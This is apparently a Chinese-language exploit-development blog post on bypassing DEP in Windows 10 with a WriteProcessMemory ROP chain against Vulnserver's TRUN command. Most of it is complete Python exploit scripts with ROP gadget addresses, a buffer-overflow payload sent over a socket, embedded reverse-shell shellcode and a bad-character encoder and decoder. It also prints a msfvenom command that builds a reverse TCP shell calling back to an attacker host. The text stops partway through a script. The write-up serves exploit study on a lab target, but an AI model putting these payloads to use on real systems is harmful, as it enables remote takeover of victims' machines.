这次,用WriteProcessMemory
来Bypass DEP
,看一下WriteProcessMemory
的函数原型:
1 2 3 4 5 6 7 BOOL WriteProcessMemory ( [in] HANDLE hProcess, [in] LPVOID lpBaseAddress, [in] LPCVOID lpBuffer, [in] SIZE_T nSize, [out] SIZE_T *lpNumberOfBytesWritten ) ;
hProcess:
要修改的进程内存的句柄。句柄必须具有对进程的 PROCESS_VM_WRITE
和 PROCESS_VM_OPERATION
访问权限。
lpBaseAddress:
指向要写入数据的指定进程中的基地址的指针。在数据传输发生之前,系统会验证指定大小的基地址和内存中的所有数据都可以进行写访问,如果不可访问,则函数失败。
lpBuffer:
指向缓冲区的指针,该缓冲区包含要写入指定进程地址空间的数据。
nSize:
要写入指定进程的字节数。
lpNumberOfBytesWritten:
指向变量的指针,该变量接收传输到指定进程的字节数。此参数是可选的。如果 lpNumberOfBytesWritten
为NULL
,则忽略该参数。
根据函数各参数的说明,在Bypass DEP
的时候,各参数的设置情况:
hProcess:
提供一个伪句柄,指定为特定的常量-1
,当WriteProcessMemory API
被调用的时候,它会将-1
转换为实际进程句柄,也就意味着这个参数我们设置的时候可以忽略。
lpBaseAddress:
这个参数我们可以设置为一个绝对地址,其指向我们将要写入模块的代码段,为了不引起程序崩溃,可以指向代码段中未使用的区域。这里有个技巧,因为代码段在编译的时候需要对齐,所以选择在代码段上限的尾部即可,因为这里填充的一定是null
字符。
在windbg
中看一眼:
这里可以使用的是essfunc.dll
。
依据PE
相关知识,获取代码段地址的步骤:
DOS Header + 0x3c
指向PE Header
:
PE Header + 0x2c
指向代码段:
来获取essfunc.dll
的代码段地址:
获取的代码段地址为62501000
,看一下对应的内存属性:
定位到代码段某一地址(这里62501c00
,后续考虑地址不包含00
字符,选择62501c10
作为lpBaseAddress
的值):
lpBuffer:
保存shellcode
所在地址,这个地址需要到执行栈溢出之后,才能确定。
nSize:shellcode
的大小。几乎所以metasploit
产生的shellcode
大小都是小于500bytes
,所以我们可以指定任意值,这里用-524(0xfffffdf4)
代替,然后取反即可。换做ROP Gadget
就是先把0xfffffdf4
存入某个寄存器,如EAX
,然后NEG EAX
即可。
lpNumberOfBytesWritten:
指向一个可写的DWORD
空间,用于保存WriteProcessMemory
复制的byte
数目。比较简单的方法是将其保存到essfunc.dll
的数据段里面,来看一下:
确认数据段里面的空间没有被使用:
段需要对齐,可以查看section alignment
的对齐为1000
:
前面2000+24
的值不为1000
的整数倍,所以后续会补00
,直到它为1000
的整数倍为止。我们在取值的时候+4
正好可以落在为了补齐增加的00
空间里,不需要刻意到前面去查找。
接下来,就是在essfunc.dll
的IAT
中找是否存在WriteProcessMemory
,利用!dh essfunc.dll -f
查看IAT
地址和偏移时发现都是空,有点诡异。
在windbg
用命令dps essfunc L2000
查看,找到一些信息:
借用之前文章《Sync Breeze 10.0.28 bypass DEP》 的方法获取WriteProcessMemory
的地址,这里就不过多介绍了,国际友人那个脚本会出问题,还是得手动来:
根据以上信息,WriteProcessMemory
函数的部分参数是可以提前确定的:
1 2 3 4 5 6 7 func = struct.pack("<L" ,0x45454545 ) func += struct.pack("<L" ,0x62501c10 ) func += struct.pack("<L" ,0xFFFFFFFF ) func += struct.pack("<L" ,0x62501c10 ) func += struct.pack("<L" ,0x41414141 ) func += struct.pack("<L" ,0x41414141 ) func += struct.pack("<L" ,0x62502028 )
现在需要关注的仅为WriteProcessMemory函数地址,shellcode在栈空间的地址,以及shellcode的大小。
这里在确定shellcode栈空间的时候,主动腾出了一片栈空间,保证ROP Gadget不会超出这块空间,也就确定了shellcode的地址,因为只需要接在这块空间之后即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 rop1 = struct.pack("<L" , 0x755912d6 ) rop1 += struct.pack("<L" , 0x755b671f ) rop1 += struct.pack("<L" , 0x41414141 ) rop1 += struct.pack("<L" , 0x7728bdf4 ) rop1 += struct.pack("<L" , 0x41414141 ) rop1 += struct.pack("<L" , 0x41414141 ) rop1 += struct.pack("<L" , 0x758cc157 ) rop1 += struct.pack("<L" , 0x88888888 ) rop1 += struct.pack("<L" , 0x75515163 ) rop1 += struct.pack("<L" , 0x758cc157 ) rop1 += struct.pack("<L" , 0x77777878 ) rop1 += struct.pack("<L" , 0x75515163 ) rop1 += struct.pack("<L" , 0x772a9052 ) rop1 += struct.pack("<L" , 0x758fe636 ) rop1 += struct.pack("<L" , 0x772f4302 ) rop1 += struct.pack("<L" , 0x749f4480 ) rop1 += struct.pack("<L" , 0x749f4480 ) rop1 += struct.pack("<L" , 0x754e2d6d )
完整的利用代码如下:(系统重启无效,因为很多ROP Gadgets
源于开启ASLR
的DLL
,ESSFUNC.DLL
中不具备完全的ROP Chain
生成要素)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 """ Vulnserver TRUN exploit (ROP, DEP bypass). Vulnerable Software: Vulnserver Version: 1.00 Exploit Author: Andres Roldan Tested On: Windows 10 20H2 Writeup: https://fluidattacks.com/blog/vulnserver-trun-rop/ """ import socketimport structHOST = '192.168.91.142' PORT = 9999 shellcode = b"" shellcode += b"\xbd\x77\x28\x83\xaa\xdb\xd9\xd9\x74\x24\xf4" shellcode += b"\x58\x31\xc9\xb1\x52\x31\x68\x12\x03\x68\x12" shellcode += b"\x83\x9f\xd4\x61\x5f\xa3\xcd\xe4\xa0\x5b\x0e" shellcode += b"\x89\x29\xbe\x3f\x89\x4e\xcb\x10\x39\x04\x99" shellcode += b"\x9c\xb2\x48\x09\x16\xb6\x44\x3e\x9f\x7d\xb3" shellcode += b"\x71\x20\x2d\x87\x10\xa2\x2c\xd4\xf2\x9b\xfe" shellcode += b"\x29\xf3\xdc\xe3\xc0\xa1\xb5\x68\x76\x55\xb1" shellcode += b"\x25\x4b\xde\x89\xa8\xcb\x03\x59\xca\xfa\x92" shellcode += b"\xd1\x95\xdc\x15\x35\xae\x54\x0d\x5a\x8b\x2f" shellcode += b"\xa6\xa8\x67\xae\x6e\xe1\x88\x1d\x4f\xcd\x7a" shellcode += b"\x5f\x88\xea\x64\x2a\xe0\x08\x18\x2d\x37\x72" shellcode += b"\xc6\xb8\xa3\xd4\x8d\x1b\x0f\xe4\x42\xfd\xc4" shellcode += b"\xea\x2f\x89\x82\xee\xae\x5e\xb9\x0b\x3a\x61" shellcode += b"\x6d\x9a\x78\x46\xa9\xc6\xdb\xe7\xe8\xa2\x8a" shellcode += b"\x18\xea\x0c\x72\xbd\x61\xa0\x67\xcc\x28\xad" shellcode += b"\x44\xfd\xd2\x2d\xc3\x76\xa1\x1f\x4c\x2d\x2d" shellcode += b"\x2c\x05\xeb\xaa\x53\x3c\x4b\x24\xaa\xbf\xac" shellcode += b"\x6d\x69\xeb\xfc\x05\x58\x94\x96\xd5\x65\x41" shellcode += b"\x38\x85\xc9\x3a\xf9\x75\xaa\xea\x91\x9f\x25" shellcode += b"\xd4\x82\xa0\xef\x7d\x28\x5b\x78\x42\x05\x6e" shellcode += b"\xf1\x2a\x54\x70\x10\xf7\xd1\x96\x78\x17\xb4" shellcode += b"\x01\x15\x8e\x9d\xd9\x84\x4f\x08\xa4\x87\xc4" shellcode += b"\xbf\x59\x49\x2d\xb5\x49\x3e\xdd\x80\x33\xe9" shellcode += b"\xe2\x3e\x5b\x75\x70\xa5\x9b\xf0\x69\x72\xcc" shellcode += b"\x55\x5f\x8b\x98\x4b\xc6\x25\xbe\x91\x9e\x0e" shellcode += b"\x7a\x4e\x63\x90\x83\x03\xdf\xb6\x93\xdd\xe0" shellcode += b"\xf2\xc7\xb1\xb6\xac\xb1\x77\x61\x1f\x6b\x2e" shellcode += b"\xde\xc9\xfb\xb7\x2c\xca\x7d\xb8\x78\xbc\x61" shellcode += b"\x09\xd5\xf9\x9e\xa6\xb1\x0d\xe7\xda\x21\xf1" shellcode += b"\x32\x5f\x41\x10\x96\xaa\xea\x8d\x73\x17\x77" shellcode += b"\x2e\xae\x54\x8e\xad\x5a\x25\x75\xad\x2f\x20" shellcode += b"\x31\x69\xdc\x58\x2a\x1c\xe2\xcf\x4b\x35" func = struct.pack("<L" ,0x45454545 ) func += struct.pack("<L" ,0x62501c10 ) func += struct.pack("<L" ,0xFFFFFFFF ) func += struct.pack("<L" ,0x62501c10 ) func += struct.pack("<L" ,0x41414141 ) func += struct.pack("<L" ,0x41414141 ) func += struct.pack("<L" ,0x62502028 ) eip = struct.pack("<L" ,0x62501022 ) rop1 = struct.pack("<L" , 0x755912d6 ) rop1 += struct.pack("<L" , 0x755b671f ) rop1 += struct.pack("<L" , 0x41414141 ) rop1 += struct.pack("<L" , 0x7728bdf4 ) rop1 += struct.pack("<L" , 0x41414141 ) rop1 += struct.pack("<L" , 0x41414141 ) rop1 += struct.pack("<L" , 0x758cc157 ) rop1 += struct.pack("<L" , 0x88888888 ) rop1 += struct.pack("<L" , 0x75515163 ) rop1 += struct.pack("<L" , 0x758cc157 ) rop1 += struct.pack("<L" , 0x77777878 ) rop1 += struct.pack("<L" , 0x75515163 ) rop1 += struct.pack("<L" , 0x772a9052 ) rop1 += struct.pack("<L" , 0x758fe636 ) rop1 += struct.pack("<L" , 0x772f4302 ) rop1 += struct.pack("<L" , 0x749f4480 ) rop1 += struct.pack("<L" , 0x749f4480 ) rop1 += struct.pack("<L" , 0x754e2d6d ) rop1 += struct.pack("<L" , 0x74a01e84 ) rop1 += struct.pack("<L" , 0x74a01e84 ) rop1 += struct.pack("<L" , 0x74a01e84 ) rop1 += struct.pack("<L" , 0x74a01e84 ) rop1 += struct.pack("<L" , 0x772a5a6f ) rop1 += struct.pack("<L" , 0xfffffdf4 ) rop1 += struct.pack("<L" , 0x772a9052 ) rop1 += struct.pack("<L" , 0x758f15ce ) rop1 += struct.pack("<L" , 0x772a9052 ) rop1 += struct.pack("<L" , 0x754e2d6d ) rop1 += struct.pack("<L" , 0x772f4302 ) rop1 += struct.pack("<L" , 0x74a01e84 ) rop1 += struct.pack("<L" , 0x74a01e84 ) rop1 += struct.pack("<L" , 0x76068122 ) rop1 += struct.pack("<L" , 0x758cc157 ) rop1 += struct.pack("<L" , 0x62506090 ) rop1 += struct.pack("<L" , 0x75fd7518 ) rop1 += struct.pack("<L" , 0x772a9052 ) rop1 += struct.pack("<L" , 0x7557771b ) rop1 += struct.pack("<L" , 0xfffd9df0 ) rop1 += struct.pack("<L" , 0x758f15ce ) rop1 += struct.pack("<L" , 0x75515163 ) rop1 += struct.pack("<L" , 0x772a9052 ) rop1 += struct.pack("<L" , 0x76068122 ) rop1 += struct.pack("<L" , 0x754e2d6d ) rop1 += struct.pack("<L" , 0x749f2002 ) padding = b"C" * (3000 -2006 -32 -len(rop1)-len(shellcode)) PAYLOAD = ( b'TRUN .' + b'A' * (2006 -len(func)) + func + eip + rop1 + b"\x90" *128 + shellcode+ padding ) with socket.create_connection((HOST, PORT)) as fd: fd.sendall(PAYLOAD)
执行,出现问题了:
因为msfvenom
解码存根希望代码存储在可写的内存里面,但是这里并没有。msfvenom
解码器在这里变得无法使用,只能利用其他办法,比如自己写不包含坏字符的shellcode
;或者替换坏字符,并在代码复制到代码段之前,恢复这些坏字符,这需要增加一些恢复的ROP Gadgets
。
自定义shellcode :这里有个需要注意的地方,那就是遇到坏字符的处理,可以将产生坏字符的指令替换成其他指令,改变寄存器的值等,有点类似之前egghunter
生成存在00
字符时,改变指令的方法。这里利用外国友人的脚本 ,来生成shellcode
:
注意对坏字符的检测,这里检测到坏字符,需要自己定位到相应的指令处,手动修改。多个坏字符用空格间隔开。
将利用脚本里面的shellcode
部分替换成这里生成的shellcode
,再次执行,喜闻乐见的反弹shell
出现了:
编码和解码shellcode: 这种方法稍微复杂点,需要增加一些解码的ROP Gadget
,在构建ROP Chain
的时候,随着解码坏字符的ROP Gadget
的增加,栈空间会随着增加,如果坏字符比较多,所需要的栈空间会更多。编码和解码部分的代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 def mapBadChars (sh) : BADCHARS = b"\x00" i = 0 badIndex = [] while i < len(sh): for c in BADCHARS: if sh[i] == c: badIndex.append(i) i=i+1 return badIndex def encodeShellcode (sh) : BADCHARS = b"\x00" REPLACECHARS = b"\xff" encodedShell = sh for i in range(len(BADCHARS)): encodedShell = encodedShell.replace(struct.pack("B" , BADCHARS[i]), struct.pack("B" , REPLACECHARS[i])) return encodedShell def decodeShellcode (dllBase, badIndex, shellcode) : BADCHARS = b"\x00" CHARSTOADD = b"\x01" restoreRop = b"" for i in range(len(badIndex)): if i == 0 : offset = badIndex[i] else : offset = badIndex[i] - badIndex[i-1 ] neg_offset = (-offset) & 0xffffffff value = 0 for j in range(len(BADCHARS)): if shellcode[badIndex[i]] == BADCHARS[j]: value = CHARSTOADD[j] value = (value) | 0x11111100 print(hex(value)) restoreRop += struct.pack("<L" , (dllBase + 0x7637768e )) restoreRop += struct.pack("<L" , (neg_offset)) restoreRop += struct.pack("<L" , (dllBase + 0x758ba9a8 )) restoreRop += struct.pack("<L" , (0x7721aed0 )) restoreRop += struct.pack("<L" , (value)) restoreRop += struct.pack("<L" , (dllBase + 0x755bc4eb )) return restoreRop
这个算法的思路就是把每个坏字符的位置保存到一个列表里面,然后从头到尾进行遍历,到达坏字符的位置之后,进行某种运算,这里用的加法,因为0x00-0xff=0x01
。我这里是从shellcode
的开始位置往后遍历,有的也用开始位置之前往后遍历,主要是看能不能正确遍历每一个值,具体哪种视情况而定。还有上述value=(value)|0x11111100
,这里ROP Gadget
使用DL
,为了保证其他为不会出现00
,所以使用了0x11111111
,另外不局限于DL,AL,AH,BL,BH
等等都可以,关键在于能够找到符合要求的ROP Gadget
。
考虑到ROP Gadgets
会比较长,这里有个小技巧,用于开辟一块比较大的栈空间存储ROP Gadgets
:
1 2 3 4 5 6 7 8 9 10 11 12 rop1 += struct.pack("<L" , 0x758cc157 ) rop1 += struct.pack("<L" , 0x88888888 ) rop1 += struct.pack("<L" , 0x75515163 ) rop1 += struct.pack("<L" , 0x758cc157 ) rop1 += struct.pack("<L" , 0x77777988 ) rop1 += struct.pack("<L" , 0x75515163 ) rop1 += struct.pack("<L" , 0x772a9052 ) rop1 += struct.pack("<L" , 0x758fe636 ) rop1 += struct.pack("<L" , 0x772f4302 ) rop1 += struct.pack("<L" , 0x749f4480 ) rop1 += struct.pack("<L" , 0x749f4480 )
这里使用0x88888888+0x77777988=0000000100000210
(高8位 截断,所以为0x210
),要多大栈空间,可以大致评估出来,比如先确定有多少坏字符,每个坏字符需要多少bytes ROP Gadgets
进行处理,加上处理WriteProcessMemory
三个参数的ROP Gadgets
,再加上对齐shellcode
的ROP Gadgets
和改变ESP
到执行流的ROP Gadgets
。
可以看到已经指向了\x90
区域。
后续需要注意的就是,解码之前需要让ESP
正好指向shellcode
开始的部分,我这里的ROP Gadgets如下:
1 2 3 4 rop1 += struct.pack("<L" , 0x772a5a6f ) rop1 += struct.pack("<L" ,0xfffffda8 ) rop1 += struct.pack("<L" , 0x772974e4 )
还有一个需要注意的地方,因为是自己来进行编码和解码,用msfvenom
仅需生成原始shellcode
即可。如本地使用如下:
1 msfvenom -p windows/shell_reverse_tcp LHOST=192.168.13.137 LPORT=4444 EXITFUNC=thread -f python -v shellcode
以上是需要注意的地方,当存在单个坏字符时,最终的利用脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 import socketimport structHOST = '192.168.91.160' PORT = 9999 def mapBadChars (sh) : BADCHARS = b"\x00" i = 0 badIndex = [] while i < len(sh): for c in BADCHARS: if sh[i] == c: badIndex.append(i) i=i+1 return badIndex def encodeShellcode (sh) : BADCHARS = b"\x00" REPLACECHARS = b"\xff" encodedShell = sh for i in range(len(BADCHARS)): encodedShell = encodedShell.replace(struct.pack("B" , BADCHARS[i]), struct.pack("B" , REPLACECHARS[i])) return encodedShell def decodeShellcode (dllBase, badIndex, shellcode) : BADCHARS = b"\x00" CHARSTOADD = b"\x01" restoreRop = b"" for i in range(len(badIndex)): if i == 0 : offset = badIndex[i] else : offset = badIndex[i] - badIndex[i-1 ] neg_offset = (-offset) & 0xffffffff value = 0 for j in range(len(BADCHARS)): if shellcode[badIndex[i]] == BADCHARS[j]: value = CHARSTOADD[j] value = (value) | 0x11111100 print(hex(value)) restoreRop += struct.pack("<L" , (dllBase + 0x7637768e )) restoreRop += struct.pack("<L" , (neg_offset)) restoreRop += struct.pack("<L" , (dllBase + 0x758ba9a8 )) restoreRop += struct.pack("<L" , (0x7721aed0 )) restoreRop += struct.pack("<L" , (value)) restoreRop += struct.pack("<L" , (dllBase + 0x755bc4eb )) return restoreRop def main () : shellcode = b"" shellcode += b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0" shellcode += b"\x64\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b" shellcode += b"\x72\x28\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61" shellcode += b"\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2" shellcode += b"\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11" shellcode += b"\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3" shellcode += b"\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6" shellcode += b"\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75" shellcode += b"\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b" shellcode += b"\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c" shellcode += b"\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24" shellcode += b"\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a" shellcode += b"\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68" shellcode += b"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff" shellcode += b"\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68" shellcode += b"\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40" shellcode += b"\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97" shellcode += b"\x6a\x05\x68\xc0\xa8\x5b\x89\x68\x02\x00\x11" shellcode += b"\x5c\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5\x74" shellcode += b"\x61\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75" shellcode += b"\xec\x68\xf0\xb5\xa2\x56\xff\xd5\x68\x63\x6d" shellcode += b"\x64\x00\x89\xe3\x57\x57\x57\x31\xf6\x6a\x12" shellcode += b"\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01\x01" shellcode += b"\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56" shellcode += b"\x56\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc" shellcode += b"\x3f\x86\xff\xd5\x89\xe0\x4e\x56\x46\xff\x30" shellcode += b"\x68\x08\x87\x1d\x60\xff\xd5\xbb\xe0\x1d\x2a" shellcode += b"\x0a\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c" shellcode += b"\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f" shellcode += b"\x6a\x00\x53\xff\xd5" pos = mapBadChars(shellcode) print(pos) encodedRevShell = encodeShellcode(shellcode) func = struct.pack("<L" ,0x45454545 ) func += struct.pack("<L" ,0x62501c10 ) func += struct.pack("<L" ,0xFFFFFFFF ) func += struct.pack("<L" ,0x62501c10 ) func += struct.pack("<L" ,0x41414141 ) func += struct.pack("<L" ,0x41414141 ) func += struct.pack("<L" ,0x62502028 ) eip = struct.pack("<L" ,0x62501022 ) rop1 = struct.pack("<L" , 0x755912d6 ) rop1 += struct.pack("<L" , 0x755b671f ) rop1 += struct.pack("<L" , 0x41414141 ) rop1 += struct.pack("<L" , 0x7728bdf4 ) rop1 += struct.pack("<L" , 0x41414141 ) rop1 += struct.pack("<L" , 0x41414141 ) rop1 += struct.pack("<L" , 0x758cc157 ) rop1 += struct.pack("<L" , 0x88888888 ) rop1 += struct.pack("<L" , 0x75515163 ) rop1 += struct.pack("<L" , 0x758cc157 ) rop1 += struct.pack("<L" , 0x77777988 ) rop1 += struct.pack("<L" , 0x75515163 ) rop1 += struct.pack("<L" , 0x772a9052 ) rop1 += struct.pack("<L" , 0x758fe636 ) rop1 += struct.pack("<L" , 0x772f4302 ) rop1 += struct.pack("<L" , 0x749f4480 ) rop1 += struct.pack("<L" , 0x749f4480 ) rop1 += struct.pack("<L" , 0x754e2d6d ) rop1 += struct.pack("<L" , 0x74a01e84 ) rop1 += struct.pack("<L" , 0x74a01e84 ) rop1 += struct.pack("<L" , 0x74a01e84 ) rop1 += struct.pack("<L" , 0x74a01e84 ) rop1 += struct.pack("<L" , 0x772a5a6f ) rop1 += struct.pack("<L" , 0xfffffdf4 ) rop1 += struct.pack("<L" , 0x772a9052 ) rop1 += struct.pack("<L" , 0x758f15ce ) rop1 += struct.pack("<L" , 0x772a9052 ) rop1 += struct.pack("<L" , 0x754e2d6d ) rop1 += struct.pack("<L" , 0x772f4302 ) rop1 += struct.pack("<L" , 0x74a01e84 ) rop1 += struct.pack("<L" , 0x74a01e84 ) rop1 += struct.pack("<L" , 0x76068122 ) rop1 += struct.pack("<L" , 0x758cc157 ) rop1 += struct.pack("<L" , 0x62506090 ) rop1 += struct.pack("<L" , 0x75fd7518 ) rop1 += struct.pack("<L" , 0x772a9052 ) rop1 += struct.pack("<L" , 0x7557771b ) rop1 += struct.pack("<L" , 0xfffd9df0 ) rop1 += struct.pack("<L" , 0x758f15ce ) rop1 += struct.pack("<L" , 0x75515163 ) rop1 += struct.pack("<L" , 0x772a9052 ) rop1 += struct.pack("<L" , 0x76068122 ) rop1 += struct.pack("<L" , 0x754e2d6d ) rop1 += struct.pack("<L" , 0x7730e63c ) rop1 += struct.pack("<L" , 0x75f84c67 ) rop1 += struct.pack("<L" , 0x772a5a6f ) rop1 += struct.pack("<L" ,0xfffffda8 ) rop1 += struct.pack("<L" , 0x772974e4 ) rop1 += decodeShellcode(0 , pos, shellcode) rop1 += struct.pack("<L" , 0x7730e63c ) rop1 += struct.pack("<L" , 0x749f2002 ) padding = b"\x44" * 16 PAYLOAD = ( b'TRUN .' + b'A' * (2006 -len(func)) + func + eip + rop1 + b"\x90" *80 + encodedRevShell+ padding ) with socket.create_connection((HOST, PORT)) as fd: fd.sendall(PAYLOAD) if __name__ == "__main__" : main()
喜闻乐见的反弹shell
如下:
单坏字符,用于解码的ROP Gadgets
一般不会很长,如果涉及很多坏字符,解码的ROP Gadgets
会很长,最终可能因为栈空间不够,导致shellcode
受到挤压,后续被截断,最终导致利用失败。
尝试7个坏字符时,最后因为栈空间不够导致shellcode
被截断了。最终,试了3
个坏字符的情况,还算正常。利用脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 import socketimport structHOST = '192.168.91.160' PORT = 9999 def mapBadChars (sh) : BADCHARS = b"\x00\x09\x0a" i = 0 badIndex = [] while i < len(sh): for c in BADCHARS: if sh[i] == c: badIndex.append(i) i=i+1 return badIndex def encodeShellcode (sh) : BADCHARS = b"\x00\x09\x0a" REPLACECHARS = b"\xff\x10\x06" encodedShell = sh for i in range(len(BADCHARS)): encodedShell = encodedShell.replace(struct.pack("B" , BADCHARS[i]), struct.pack("B" , REPLACECHARS[i])) return encodedShell def decodeShellcode (dllBase, badIndex, shellcode) : BADCHARS = b"\x00\x09\x0a" CHARSTOADD = b"\x01\xf9\x04" restoreRop = b"" for i in range(len(badIndex)): if i == 0 : offset = badIndex[i] else : offset = badIndex[i] - badIndex[i-1 ] neg_offset = (-offset) & 0xffffffff value = 0 for j in range(len(BADCHARS)): if shellcode[badIndex[i]] == BADCHARS[j]: value = CHARSTOADD[j] value = (value) | 0x11111100 print(hex(value)) restoreRop += struct.pack("<L" , (dllBase + 0x7637768e )) restoreRop += struct.pack("<L" , (neg_offset)) restoreRop += struct.pack("<L" , (dllBase + 0x758ba9a8 )) restoreRop += struct.pack("<L" , (0x7721aed0 )) restoreRop += struct.pack("<L" , (value)) restoreRop += struct.pack("<L" , (dllBase + 0x755bc4eb )) return restoreRop def main () : shellcode = b"" shellcode += b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0" shellcode += b"\x64\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b" shellcode += b"\x72\x28\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61" shellcode += b"\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2" shellcode += b"\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11" shellcode += b"\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3" shellcode += b"\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6" shellcode += b"\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75" shellcode += b"\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b" shellcode += b"\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c" shellcode += b"\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24" shellcode += b"\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a" shellcode += b"\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68" shellcode += b"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff" shellcode += b"\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68" shellcode += b"\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40" shellcode += b"\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97" shellcode += b"\x6a\x05\x68\xc0\xa8\x5b\x89\x68\x02\x00\x11" shellcode += b"\x5c\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5\x74" shellcode += b"\x61\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75" shellcode += b"\xec\x68\xf0\xb5\xa2\x56\xff\xd5\x68\x63\x6d" shellcode += b"\x64\x00\x89\xe3\x57\x57\x57\x31\xf6\x6a\x12" shellcode += b"\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01\x01" shellcode += b"\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56" shellcode += b"\x56\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc" shellcode += b"\x3f\x86\xff\xd5\x89\xe0\x4e\x56\x46\xff\x30" shellcode += b"\x68\x08\x87\x1d\x60\xff\xd5\xbb\xe0\x1d\x2a" shellcode += b"\x0a\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c" shellcode += b"\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f" shellcode += b"\x6a\x00\x53\xff\xd5" pos = mapBadChars(shellcode) print(pos) encodedRevShell = encodeShellcode(shellcode) func = struct.pack("<L" ,0x45454545 ) func += struct.pack("<L" ,0x62501c10 ) func += struct.pack("<L" ,0xFFFFFFFF ) func += struct.pack("<L" ,0x62501c10 ) func += struct.pack("<L" ,0x41414141 ) func += struct.pack("<L" ,0x41414141 ) func += struct.pack("<L" ,0x62502028 ) eip = struct.pack("<L" ,0x62501022 ) rop1 = struct.pack("<L" , 0x755912d6 ) rop1 += struct.pack("<L" , 0x755b671f ) rop1 += struct.pack("<L" , 0x41414141 ) rop1 += struct.pack("<L" , 0x7728bdf4 ) rop1 += struct.pack("<L" , 0x41414141 ) rop1 += struct.pack("<L" , 0x41414141 ) rop1 += struct.pack("<L" , 0x758cc157 ) rop1 += struct.pack("<L" , 0x88888888 ) rop1 += struct.pack("<L" , 